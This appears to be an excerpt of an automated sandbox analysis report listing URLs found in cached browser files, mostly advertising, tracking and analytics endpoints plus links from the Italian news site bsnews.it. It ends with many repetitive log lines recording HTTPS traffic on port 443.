Source: chromecache_911.2.dr, chromecache_1028.2.dr	String found in binary or memory: https://t.adx.opera.com/pub/sync?pubid=pub10101531197440&gdpr=$
Source: chromecache_305.2.dr	String found in binary or memory: https://t.seedtag.com/c/
Source: chromecache_981.2.dr	String found in binary or memory: https://tagassistant.google.com/
Source: chromecache_479.2.dr	String found in binary or memory: https://tagdiv.com/newspaper-10-3-7-update-brings-customizable-and-fast-mobile-pages/
Source: chromecache_647.2.dr	String found in binary or memory: https://tags.bluekai.com/site/87734?id=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&gdpr=0&gdpr_consent=&red
Source: chromecache_318.2.dr	String found in binary or memory: https://tags.crwdcntrl.net/lt/c/15238/lt.min.js
Source: chromecache_523.2.dr	String found in binary or memory: https://targeting.unrulymedia.com/unruly_prebid
Source: chromecache_398.2.dr	String found in binary or memory: https://tcheck.$
Source: chromecache_688.2.dr	String found in binary or memory: https://td.doubleclick.net
Source: chromecache_549.2.dr, chromecache_1001.2.dr	String found in binary or memory: https://tg.socdm.com/aux/idsync?proto=gumgum
Source: chromecache_638.2.dr	String found in binary or memory: https://tg.socdm.com/aux/idsync?proto=magnite_ctv&rid=30f2e100c3804685b89bc432e7fc41cf
Source: chromecache_501.2.dr	String found in binary or memory: https://thrtle.com/insync?vxii_pid=10067&vxii_pdid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_
Source: chromecache_523.2.dr	String found in binary or memory: https://topics.authorizedvault.com/topicsapi.html
Source: chromecache_727.2.dr	String found in binary or memory: https://tra.neodatagroup.com/events?sid=999&cat=
Source: chromecache_398.2.dr	String found in binary or memory: https://traffic.outbrain.com
Source: chromecache_647.2.dr	String found in binary or memory: https://trc.taboola.com/sg/zeotap/1/cm?env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-
Source: chromecache_657.2.dr, chromecache_743.2.dr	String found in binary or memory: https://tremor-match.dotomi.com/match/bounce/current?networkId=1103&version=1&nuid=5c99a009bd184d5ca
Source: chromecache_727.2.dr	String found in binary or memory: https://trz.neodatagroup.com/cm?eid=
Source: chromecache_727.2.dr	String found in binary or memory: https://trz.neodatagroup.com/cm?eid=$
Source: chromecache_575.2.dr	String found in binary or memory: https://trz.neodatagroup.com/cm?sid=1011&pv=MEDIAMATH&eid=e37d6605-2f8b-4a00-8c65-7b6f95886a26&rt=im
Source: chromecache_914.2.dr	String found in binary or memory: https://twitter.com/bsnewsit
Source: chromecache_390.2.dr	String found in binary or memory: https://u-iad04.e-planning.net/um?dc=99e41df815fd80b4&fi=b908337b94350305&uid=ZgUvi9HM46UAAD
Source: chromecache_944.2.dr	String found in binary or memory: https://u.openx.net/w/1.0/cm?gdpr=0&gdpr_consent=&id=29975467-6f1b-4e06-b545-920b22ea49b2&ismms2s=1&
Source: chromecache_337.2.dr, chromecache_637.2.dr, chromecache_573.2.dr	String found in binary or memory: https://uipglob.semasio.net/pubmatic/1/info?sType=sync&sExtCookieId=01F5328A-C4D9-44AD-8468-60A88524
Source: chromecache_967.2.dr	String found in binary or memory: https://um.simpli.fi/ox_match
Source: chromecache_749.2.dr, chromecache_1000.2.dr	String found in binary or memory: https://um.simpli.fi/pm_match?https://dsum-sec.casalemedia.com/crum?cm_dsp_id=90&external_user_i
Source: chromecache_448.2.dr	String found in binary or memory: https://um.simpli.fi/pubmatic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJm
Source: chromecache_593.2.dr	String found in binary or memory: https://ums.acuityplatform.com/tum?umid=134&uid=9741359e-b2a2-4864-af08-41d769df6c9b
Source: chromecache_1007.2.dr, chromecache_390.2.dr	String found in binary or memory: https://ups.analytics.yahoo.com/ups/55940/sync?_origin=1&redir2=true&uid=ZgUvi9HM46UAADq7ABh
Source: chromecache_448.2.dr	String found in binary or memory: https://ups.analytics.yahoo.com/ups/58292/sync?_origin=1&uid=01F5328A-C4D9-44AD-8468-60A885247C68&re
Source: chromecache_826.2.dr	String found in binary or memory: https://ups.analytics.yahoo.com/ups/58294/sync?_origin=1&uid=030a3e80-9d89-08d6-3a80-971e17bad28e
Source: chromecache_756.2.dr	String found in binary or memory: https://ups.analytics.yahoo.com/ups/58570/occ?uid=10735680-48cc-46aa-8323-b54c7155938b
Source: chromecache_964.2.dr	String found in binary or memory: https://us-east-1.paa-reporting-advertising.amazon/paa/rf_module_registration.html
Source: chromecache_549.2.dr, chromecache_1001.2.dr	String found in binary or memory: https://us-u.openx.net/w/1.0/cm?_=
Source: chromecache_838.2.dr	String found in binary or memory: https://us-u.openx.net/w/1.0/cm?id=5263ff89-48b7-4624-96e0-06c74faea01d&ph=2eba3060-f578-4886-93a0-d
Source: chromecache_410.2.dr	String found in binary or memory: https://us-u.openx.net/w/1.0/cm?id=58ceaaf5-c766-4c17-869a-d76e43401714&gdpr=0&gdpr_consent=&r=https
Source: chromecache_826.2.dr	String found in binary or memory: https://us-u.openx.net/w/1.0/cm?id=e508c905-ddce-4732-92a4-0b0f5b72a28f&r=https%3A%2F%2Fid.rlcdn.com
Source: chromecache_501.2.dr	String found in binary or memory: https://us-u.openx.net/w/1.0/sd?id=540245193&val=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_co
Source: chromecache_448.2.dr	String found in binary or memory: https://us01.z.antigena.com/l/FZt5psomz79DGe~O1V5PkX7S8-NVJIdw0INR-k~Duu9c36GyIDyElf4y8fa2~-9InNSq4B
Source: chromecache_403.2.dr	String found in binary or memory: https://user-sync.adhese.com/iframe/user_sync.html?account=
Source: chromecache_647.2.dr	String found in binary or memory: https://usermatch.krxd.net/um/v2?partner=zeotap&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4
Source: chromecache_944.2.dr	String found in binary or memory: https://visitor.omnitagjs.com/visitor/bsync?gdpr=0&gdpr_consent=&ismms2s=1&name=MinuteMedia&uid=a1ac
Source: chromecache_911.2.dr	String found in binary or memory: https://visitor.omnitagjs.com/visitor/sync?uid=f04f5c55f88ffea7a3ce5b2d908a6e71&visitor=27NUsK0FTKCx
Source: chromecache_398.2.dr	String found in binary or memory: https://widget-pixels.outbrain.com/widget/detect/px.gif?ch=1
Source: chromecache_383.2.dr	String found in binary or memory: https://widgetmonitor.outbrain.com/WidgetErrorMonitor/api/report
Source: chromecache_398.2.dr	String found in binary or memory: https://widgets.outbrain.com
Source: chromecache_398.2.dr	String found in binary or memory: https://widgets.outbrain.com/images/widgetIcons/arrows-chevron-left.svg);
Source: chromecache_398.2.dr	String found in binary or memory: https://widgets.outbrain.com/images/widgetIcons/icon-x.svg);mask-image:url(https://widgets.outbrain.
Source: chromecache_398.2.dr	String found in binary or memory: https://widgets.outbrain.com/nanoWidget/externals/obPixelFrame/obPixelFrame.htm#p=
Source: chromecache_398.2.dr	String found in binary or memory: https://widgets.outbrain.com/nanoWidget/externals/obPixelFrame/obPixelFrame.htm#p=$
Source: chromecache_398.2.dr	String found in binary or memory: https://widgets.outbrain.com/widgetMonitor/monitor.html?deletelocalstorage=true
Source: chromecache_398.2.dr	String found in binary or memory: https://widgets.outbrain.com/widgetMonitor/monitor.html?name=
Source: chromecache_851.2.dr	String found in binary or memory: https://widgets.wp.com/likes/?ver=13.1-a.2#blog_id=202566594&post_id=34&origin=yoursite&
Source: chromecache_914.2.dr	String found in binary or memory: https://widgets.wp.com/likes/?ver=13.2.2#blog_id=123231640&post_id=95325&origin=bsnews.it&am
Source: chromecache_914.2.dr	String found in binary or memory: https://widgets.wp.com/likes/master.html?ver=20240327#ver=20240327&lang=it&n=1
Source: chromecache_914.2.dr	String found in binary or memory: https://wp.me/p8l4b6-oNv
Source: chromecache_816.2.dr	String found in binary or memory: https://wpbakery.com)
Source: chromecache_914.2.dr	String found in binary or memory: https://www.amazon.it/gp/product/B08RXHZBK2/ref=as_li_tl?ie=UTF8&tag=vendit-21&camp=3414&#
Source: chromecache_914.2.dr	String found in binary or memory: https://www.bancadelterritoriolombardo.it/privati/conti-e-depositi/conto-zerissimo/
Source: chromecache_914.2.dr	String found in binary or memory: https://www.bresciamobilita.it/
Source: chromecache_898.2.dr	String found in binary or memory: https://www.brightcove.com/
Source: chromecache_914.2.dr	String found in binary or memory: https://www.bsnews.it/
Source: chromecache_914.2.dr	String found in binary or memory: https://www.bsnews.it/#/schema/logo/image/
Source: chromecache_914.2.dr	String found in binary or memory: https://www.bsnews.it/#/schema/person/df94e6f281aa8db8d0405c390b255fac
Source: chromecache_914.2.dr	String found in binary or memory: https://www.bsnews.it/#organization
Source: chromecache_914.2.dr	String found in binary or memory: https://www.bsnews.it/#website
Source: chromecache_914.2.dr	String found in binary or memory: https://www.bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/
Source: chromecache_914.2.dr	String found in binary or memory: https://www.bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/#a
Source: chromecache_914.2.dr	String found in binary or memory: https://www.bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/#b
Source: chromecache_914.2.dr	String found in binary or memory: https://www.bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/#p
Source: chromecache_914.2.dr	String found in binary or memory: https://www.bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/#r
Source: chromecache_914.2.dr	String found in binary or memory: https://www.bsnews.it/?s=
Source: chromecache_597.2.dr, chromecache_933.2.dr, chromecache_966.2.dr, chromecache_596.2.dr, chromecache_825.2.dr, chromecache_774.2.dr	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: chromecache_914.2.dr	String found in binary or memory: https://www.distribuzionidigitali.it/
Source: chromecache_727.2.dr	String found in binary or memory: https://www.facile.it/assicurazioni-auto/preventivo
Source: chromecache_836.2.dr	String found in binary or memory: https://www.filepicker.io/api/file/zZcIrfbTvvyOYUqKAGOA
Source: chromecache_926.2.dr	String found in binary or memory: https://www.forumpa.it/manifestazioni/forum-pa-2022/
Source: chromecache_447.2.dr	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: chromecache_981.2.dr	String found in binary or memory: https://www.google-analytics.com/debug/bootstrap?id=
Source: chromecache_981.2.dr	String found in binary or memory: https://www.google-analytics.com/gtm/js?id=
Source: chromecache_981.2.dr	String found in binary or memory: https://www.google.%/ads/ga-audiences
Source: chromecache_703.2.dr, chromecache_992.2.dr, chromecache_447.2.dr	String found in binary or memory: https://www.google.com
Source: chromecache_981.2.dr	String found in binary or memory: https://www.google.com/ads/ga-audiences
Source: chromecache_703.2.dr, chromecache_992.2.dr, chromecache_447.2.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_317.2.dr, chromecache_776.2.dr	String found in binary or memory: https://www.googleadservices.com/pagead/managed/js/activeview/
Source: chromecache_447.2.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_703.2.dr, chromecache_992.2.dr, chromecache_447.2.dr	String found in binary or memory: https://www.googletagmanager.com/a?
Source: chromecache_981.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=
Source: chromecache_914.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=G-EQYZRK97F1
Source: chromecache_926.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=UA-231684584-1
Source: chromecache_914.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=
Source: chromecache_914.2.dr	String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-N4MQK3G
Source: chromecache_447.2.dr	String found in binary or memory: https://www.googletagmanager.com/static/exp/keys.json
Source: chromecache_914.2.dr	String found in binary or memory: https://www.instagram.com/bsnews.it/
Source: chromecache_734.2.dr, chromecache_519.2.dr	String found in binary or memory: https://www.internalfb.com/intern/invariant/
Source: chromecache_914.2.dr	String found in binary or memory: https://www.linkedin.com/in/atortelli
Source: chromecache_992.2.dr	String found in binary or memory: https://www.merchant-center-analytics.goog
Source: chromecache_367.2.dr	String found in binary or memory: https://www.quantcast.com/legal/license
Source: chromecache_393.2.dr	String found in binary or memory: https://www.rtbhouse.com/
Source: chromecache_378.2.dr	String found in binary or memory: https://www.youronlinechoices.com/wp-content/plugins/optout/callback/?status=nocookie&token=7AdUuQDn
Source: chromecache_914.2.dr	String found in binary or memory: https://www.youtube.com/channel/UC76-hcy9xJxv7PZ_n9FOr2g
Source: chromecache_904.2.dr, chromecache_953.2.dr	String found in binary or memory: https://www.youtube.com/iframe_api
Source: chromecache_914.2.dr	String found in binary or memory: https://www.youtube.com/watch?v=BZAShT8MKK4?si=dbgggHkBgZF4fi2A
Source: chromecache_410.2.dr	String found in binary or memory: https://x.bidswitch.net/check_uuid/https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Faid%3D11603%26gd
Source: chromecache_944.2.dr	String found in binary or memory: https://x.bidswitch.net/sync?gdpr=0&gdpr_consent=&ismms2s=1&ssp=minutemedia
Source: chromecache_756.2.dr	String found in binary or memory: https://x.bidswitch.net/sync?ssp=adaptmx&user_id=10735680-48cc-46aa-8323-b54c7155938b&gdpr=
Source: chromecache_593.2.dr	String found in binary or memory: https://x.bidswitch.net/sync?ssp=adman&user_id=9741359e-b2a2-4864-af08-41d769df6c9b&gdpr=
Source: chromecache_570.2.dr	String found in binary or memory: https://x.bidswitch.net/sync?ssp=eplanning
Source: chromecache_1001.2.dr	String found in binary or memory: https://x.bidswitch.net/sync?ssp=gumgum2&user_id=u_860d30c8-2f9d-4439-ae17-bcb7bf671978&gdpr=&gdpr_c
Source: chromecache_549.2.dr	String found in binary or memory: https://x.bidswitch.net/sync?ssp=gumgum2&user_id=u_a5489836-263b-4903-9095-fa7e48511288&gdpr=0&gdpr_
Source: chromecache_837.2.dr, chromecache_951.2.dr, chromecache_919.2.dr, chromecache_911.2.dr, chromecache_559.2.dr, chromecache_1028.2.dr	String found in binary or memory: https://x.bidswitch.net/sync?ssp=onetag&gdpr=$
Source: chromecache_501.2.dr	String found in binary or memory: https://x.bidswitch.net/sync?ssp=pubmatic&gdpr=0&gdpr_consent=&us_privacy=#US_PRIVACY
Source: chromecache_380.2.dr	String found in binary or memory: https://x.bidswitch.net/sync?ssp=tremor&user_id=5c99a009bd184d5ca3b7885003b720e3&gdpr=0&gdpr_consent
Source: chromecache_782.2.dr	String found in binary or memory: https://z.moatads.com/omidverificationclient/verification-client-v1.js
Source: chromecache_782.2.dr	String found in binary or memory: https://z.moatads.com/px2/client.js
Source: chromecache_782.2.dr	String found in binary or memory: https://z.moatads.com/swf/p6.v3.swf

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50730
Source: unknown	Network traffic detected: HTTP traffic on port 50693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52633 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51663 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50744
Source: unknown	Network traffic detected: HTTP traffic on port 52186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50743
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50745
Source: unknown	Network traffic detected: HTTP traffic on port 50578 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50747
Source: unknown	Network traffic detected: HTTP traffic on port 50440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50749
Source: unknown	Network traffic detected: HTTP traffic on port 51892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52518 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50741
Source: unknown	Network traffic detected: HTTP traffic on port 51777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50754
Source: unknown	Network traffic detected: HTTP traffic on port 51524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50758
Source: unknown	Network traffic detected: HTTP traffic on port 52084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52645 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50752
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51319 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50767
Source: unknown	Network traffic detected: HTTP traffic on port 52608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50760
Source: unknown	Network traffic detected: HTTP traffic on port 51651 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50762
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50761
Source: unknown	Network traffic detected: HTTP traffic on port 51789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50337 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50763
Source: unknown	Network traffic detected: HTTP traffic on port 52506 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 51192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 51077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 52416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50591 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50701
Source: unknown	Network traffic detected: HTTP traffic on port 52302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50704
Source: unknown	Network traffic detected: HTTP traffic on port 50656 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50705
Source: unknown	Network traffic detected: HTTP traffic on port 51065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51561 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51446 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50707
Source: unknown	Network traffic detected: HTTP traffic on port 51626 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 50313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50714
Source: unknown	Network traffic detected: HTTP traffic on port 51765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50717
Source: unknown	Network traffic detected: HTTP traffic on port 51434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52555 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50718
Source: unknown	Network traffic detected: HTTP traffic on port 50808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 50771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 51307 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51573 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50728
Source: unknown	Network traffic detected: HTTP traffic on port 52060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52621 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51638 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50720
Source: unknown	Network traffic detected: HTTP traffic on port 52198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52391 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 50644 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 52137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52516
Source: unknown	Network traffic detected: HTTP traffic on port 51115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52514
Source: unknown	Network traffic detected: HTTP traffic on port 52567 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52518
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52519
Source: unknown	Network traffic detected: HTTP traffic on port 52011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52512
Source: unknown	Network traffic detected: HTTP traffic on port 50873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52513
Source: unknown	Network traffic detected: HTTP traffic on port 52326 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52511
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52527
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52525
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52526
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52529
Source: unknown	Network traffic detected: HTTP traffic on port 52023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52520
Source: unknown	Network traffic detected: HTTP traffic on port 50987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52453 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52523
Source: unknown	Network traffic detected: HTTP traffic on port 51001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52524
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52521
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52522
Source: unknown	Network traffic detected: HTTP traffic on port 52200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52338 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51207
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52539
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52536
